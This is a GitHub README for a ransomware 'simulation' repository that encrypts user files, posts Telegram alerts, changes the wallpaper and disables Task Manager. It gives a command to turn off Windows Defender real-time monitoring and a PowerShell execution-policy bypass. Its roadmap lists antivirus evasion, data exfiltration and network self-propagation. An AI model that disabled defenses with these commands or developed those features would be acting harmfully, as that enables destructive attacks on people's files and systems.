⚠️ Disclaimer: This project is for educational and research purposes only. Do not use it for illegal activities. The author is not responsible for any misuse of this code.

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This repository contains a ransomware simulation script designed for educational purposes. The objective is to demonstrate how ransomware works and how security professionals can analyze and mitigate such threats.

• Generates an encryption key and encrypts user files.
• Sends notifications via Telegram (requires API setup).
• Modifies system wallpaper with a simulated ransom note.
• Disables Task Manager to mimic real-world ransomware behavior.

Do not run this script on a system with real data. If used in a controlled environment (like a virtual machine), proceed with caution.

For security reasons, it is recommended to test this script in an isolated virtual machine.

• Use VirtualBox, VMware, or Hyper-V.
• Create snapshots before running the script to restore the system easily.
• Use Windows Sandbox for a quick testing environment.

Some security software may block execution:

Set-MpPreference -DisableRealtimeMonitoring $true

git clone https://github.com/17tayyy/priv4te
cd priv4te

pip install -r requirements.txt

Run the following PowerShell script to create dummy files in common user directories:

powershell -ExecutionPolicy Bypass -File setup-for-testing.ps1

This will generate test files in:

• Desktop
• Documents
• Downloads
• Pictures
• External Drives

python3 priv4te.py"

• Implement multiple OS support
• Block some user actions
• Replace Fernet with AES-256 for stronger encryption
• Improve Antivirus evasion techniques
• Target databases (.sql, .mdb, .db) as a priority
• Implement Data exfiltration techniques
• Self-propagation in local networks